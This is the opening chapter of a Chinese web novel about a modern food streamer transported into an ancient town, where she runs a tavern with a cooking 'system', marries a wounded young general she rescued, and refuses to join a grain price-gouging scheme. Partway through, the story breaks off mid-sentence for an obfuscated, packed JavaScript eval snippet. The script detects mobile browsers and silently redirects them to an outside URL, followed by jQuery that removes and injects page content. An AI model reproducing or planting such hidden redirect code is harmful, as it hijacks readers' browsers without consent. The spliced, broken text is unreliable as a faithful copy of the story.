1. 穿越

天兆六年辰月,天降异象,黄河决堤。浑水肆虐,所过之处,大地哀嚎,生灵涂炭。缺粮少食,百姓流离失所,倭寇横行,天道哀愁。


边城因离灾地百里,暂未受波及。


城中魏氏酒楼内,一名身穿浅色围裙的女郎正立于灶台前,一手执锅铲,一手将洗净的青菜倒入油锅。热气蒸腾,香味四溢,不多时,一盘色香味俱全的菜肴便已出锅。


404:【恭喜宿主,今日成功制作一百道e级菜品,获得一千积分。】


魏嫣然唇角微扬,将菜递给张雪。张雪闻着那令人垂涎的香气,来不及夸赞好友,便匆匆端着菜走出厨房。


房门一开,外头的食客顿时沸腾,眼巴巴地盯着张雪将那最后一盘菜端上桌。


“这是酒楼今日第一百道菜,自此闭楼。若想再尝魏小娘子的手艺,明日请早些来排队。”张雪话音一落,食客们纷纷挽留。


“别啊,雪丫头,替我们求求情,这才中午呢!”


“是啊,我寅时就来了,才尝了一道菜。”


“我起晚了,连菜都没尝到,光闻了个香!魏小娘子再做一个时辰吧!”


张雪耐心劝解,可众人眼巴巴地盯着厨房方向,根本不听劝,直往她这边涌来。


终于,那扇红木门再次打开,众人口中厨艺无双的魏嫣然款款走出。


魏嫣然已摘去围裙,一袭藕粉色长裙衬得她面色红润,乌发梳向两侧,露出饱满的额头。细长的丹凤眼舒展,五官大气而精致。


她施施然向众人行了一礼,随后以袖掩唇,轻咳几声。“既然大家如此喜爱,那我便再做些吧。”


张雪见状,连忙上前扶住她,转头对众人道:“难道你们真要看着魏小娘子伤了身子,也要为你们炊饭吗?”


在这对姐妹花一唱一和下,众人纷纷推辞,再不敢强求,只叮嘱魏嫣然好生休养,随后陆续离去。


酒楼木门闭合的那一刻,方才还似弱柳扶风的魏嫣然已挺直了腰板。她数着今日赚来的银子,将一部分递给张雪。


张雪迟疑道:“你已经给了我许多,这些人都是冲着你的菜来的,我只是帮了些小忙。”


魏嫣然不由分说地将银子塞进她手中。“好姐姐,日后还需你多多帮衬。况且你娘吃药也要银子,这是我的一点心意。”


张雪闻言,不再推辞,含泪离去。


404:【宿主,你太厉害了,穿越才三个月就赚了60000积分,是我带过的宿主里最牛的。】


魏嫣然听着系统的夸赞,却并无喜色。她本是现代美食主播,一觉醒来竟穿到了古代。原主爹娘因探亲遭遇水灾,一去不返,原主也因此郁郁而终。


她穿越而来,守着这座大酒楼,四周皆是虎视眈眈、想要强娶她吃绝户的亲戚。


所幸,她绑定了美食系统,只要攒够一百万积分就能回家。每做一道菜,系统都会评级,等级越高,积分越多。


e级可得10积分,d级100积分,以此类推,A级则可拿到十万积分。


她曾问过404评级标准,可404也不知。它的编号如同它本身,一问三不知。


为了探究积分规则,她做过佛跳墙、紫气东来等宫廷御菜,可结果却与家常菜小鸡炖蘑菇一样,都是e级。


魏嫣然从厨房端出一碗藏好的汤面,轻手轻脚地走进酒楼后院的厢房。


厢房里,一个男人倚靠在木床上,面色苍白,虚弱不堪,却依旧难掩他俊美的容颜。剑眉星目,唇红齿白,活脱脱一个惹人怜爱的小白脸模样。


魏嫣然将汤面放在床旁,男人抬眼看了看,便端起碗大口吃了起来。


她还记得捡到他时的情景——他趴在长街的角落,无人问津,骨瘦如柴,衣衫褴褛,伤口的鲜血混着尘土,奄奄一息。那时她刚穿越过来,正绞尽脑汁对付那群白眼狼亲戚,却在路上被他突然抓住了脚踝,怎么甩也甩不开。


他虚弱地开口:“救我。”


她一时心软,将他带回了家。又是花银子请大夫,又是买药,总算将他从鬼门关拉了回来。可惜他伤得太重,短时间内无法自由活动,甚至可能留下后遗症。


不过,她可不是白好心,留他在家里白吃白喝。


“公子,我看你也好得差不多了,咱们谈谈这救命之恩吧。”魏嫣然笑眯眯地说道。


纪时泽正捧着碗,听到这话愣住了。他低头看了看自己身无分文的模样,苦笑道:“姑娘需要在下做什么?莫不是岭南的灾情蔓延至此,姑娘酒楼无肉可食,要拖我上砧板?”


魏嫣然没接他的玩笑话,反而凑近了些,一反常态地正经道:“我看那话本上,少年将军英雄救美后,窈窕女郎都要以身相许。不知赵公子意下如何?”


外头的人见她酒楼生意红火,又见她尚未婚配,数不清的男人想娶她,顺便将她这日渐兴旺的酒楼收入囊中。


这几日,来她门前献殷勤的男人越来越多,不是送情诗,就是抛媚眼。要不是有自小习武的张雪帮她拦着,她还真不知该如何应对那些八旬老汉的媚眼。


她像块香饽饽,被周围的虎狼盯着。只要她一日不成亲,便一日不得安宁。可若是所嫁非人,不仅酒楼保不住,连她自己也得搭进去。所以,她要招婿,而眼前的纪时泽就是最好的人选。


先不说她留了他三个月,看出这人品行不错。单凭他这副俊美的模样,整个边城就找不出比他更年轻貌美的。


至于他浑身伤病,那更是再好不过——行动不便,才需要她供养,根本离不开她。这简直是老天给她送来的如意郎君。


纪时泽听着她那“少年将军英雄救美”的话,心中苦笑。他确实是少年将军,只是军中出了细作,才落得这般下场。可如今他这般落魄,又怎敢误了佳人?


然而,下一刻,他看着魏嫣然眼中的热切,忽然反应过来,不可思议地指着自己:“你是要我入赘?”


要他堂堂镇北王世子,五岁入军营,七岁上战场,十六岁封为将军的纪时泽入赘?


“是的,东西我都买好了,现在就成亲。”魏嫣然说着,便拿出了托张雪买的红盖头,一把盖在了纪时泽的头上。趁他还没反应过来,她又将盖头揭开。


盖头下,纪时泽的脸通红如火,不知是羞的,还是被那红盖头衬的。


魏嫣然将一锭银子塞进他手里,笑眯眯道:“这是聘礼,往后有我一口吃的,绝对饿不着你。”


“你!”纪时泽看着手中被硬塞来的银子,还没来得及说什么,魏嫣然已经转身走出了房门。


他拧着眉,看着自己“卖身”换来的银子,半晌后叹了口气。


算了,救命之恩不能不报。只是……若是成婚,自己这般落魄,实在是委屈了她。


另一边,魏嫣然见纪时泽没有一哭二闹三上吊,便知他认清了现实。她那出强买强卖的生意,算是做成了。


她坐到柜台上,拿起算盘啪啪打着,将账本记清楚后,眉头微皱。


果然,和她料想的一样。


魏嫣然的后院里种着些菜,库房里也堆着余粮,但即便


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14962613|161114||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


如此,她还是得外出采买。


这几日,鸡鸭鱼肉的价格节节攀升,酒楼的客人虽依旧络绎不绝,但她敏锐地察觉到,来客的数量正一天天减少。


黄河水患肆虐,两岸良田被淹近百顷,粮价飞涨,就连远在漠北的边城也未能幸免。


若任由事态发展下去,她迟早也得提高售价来应对日益高涨的粮价。可一旦提价,食客必定减少,酒楼的生意也会大受影响。


魏嫣然正苦思破解之法,酒楼的门却突然被敲响了。她本不想理会,可那敲门声愈发急促,大有她不开门就要把门敲烂的架势。


她将账本锁进抽屉,起身去开门,却发现来人是隔壁街同样开酒楼的刘老板。都说同行是冤家,更何况对方还带着自己正值壮年的儿子。


此刻张雪不在,真要动起手来,她并不占优势。魏嫣然懒得与他们纠缠,一见来人,便毫不犹豫地关门。


刘老板却死死抵住门,急声道:“别关!我是来给你说亲的!你看我这儿子,刘宝儿,器宇轩昂,乃人中龙凤!”


一听这话,魏嫣然关门的力气更大了。


刘老板和儿子二人合力竟有些抵不住,情急之下,刘老板一狠心,直接将脚塞进门缝里,试图阻止她关门。


“啊呀!疼啊!脚要断了!”刘老板痛呼出声。


魏嫣然非但没松力,反而使上了全身的力气,仿佛誓要把刘老板的脚夹断不可。


“好了,快松开我脚!我是来说正事的!”刘老板疼得龇牙咧嘴,急忙喊道,“粮庄和酒楼都商量好了,明天粮价会涨十倍,你也要涨!”


一听这话,魏嫣然瞪大了眼,手上的力道不由得一松。刘老板和儿子原本正抵着门,此刻对面没了阻碍,两人直接摔了进来。


“你说什么?涨十倍?”魏嫣然既诧异又不安。即便是灾情影响粮价,也不该涨到如此离谱的地步。


边城不比关中富庶之地,百姓平日所得除去家用,本就没有多少余钱。若是粮价涨十倍,用不了多久,就会有人连口吃的都买不起。官府难道会坐视不管?


“你这么涨价,不怕县令请你去县衙打板子吗?”魏嫣然冷声质问。


刘老板却奸笑一声,得意道:“你能想到的,我们怎么会想不到?我们早就打好招呼了。”


“你!”魏嫣然顿时明白,这群人是要官商勾结,逼迫百姓倾家荡产去买粮食。


刘老板见魏嫣然怒目而视,故作和善地哄道:“你若是实在怕涨价愧对邻里街坊,现在就嫁给我儿子。我接手这酒楼,脏活累活全替你干了,你到时候只管在家数钱就好。”


说罢,刘宝儿往前一站,憨笑中脸上的肥肉挤成了三层,眼神中带着令人作呕的猥琐。


魏嫣然握紧拳头,恨不得立刻将这两个无赖打出去。商家趁乱坐地起价,确实能赚得盆满钵满,但普通百姓却会因此陷入水深火热的境地。


她虽然爱钱,但君子爱财,取之有道。她不屑于与这种损人利己的缺德之人合作。


“不,明天魏氏酒楼的价格绝不上涨。”魏嫣然冷冷道。


刘老板惊呆了,难以置信地看着她:“你疯了?只有你一人不涨粮价,全城都会来你这买,你的余粮也撑不了多久!”


“那也不是刘老板该操心的事。”魏嫣然语气坚定,“而且我已成亲,若是你再敢来这闹事,我就把你们父子请到府衙上,告你调戏民女之罪。”


刘老板脸色一变,显然没料到她会如此强硬。他悻悻地瞪了她一眼,拉着儿子灰溜溜地离开了。